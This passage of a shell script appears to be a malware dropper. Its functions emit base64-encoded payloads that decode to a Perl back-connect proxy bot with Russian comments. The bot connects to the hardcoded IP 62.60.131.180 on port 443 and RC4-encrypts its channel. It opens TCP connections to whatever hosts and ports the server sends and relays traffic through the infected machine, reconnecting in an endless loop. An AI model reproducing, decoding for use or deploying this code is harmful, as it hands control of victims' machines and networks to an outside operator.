ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_30() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODAnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
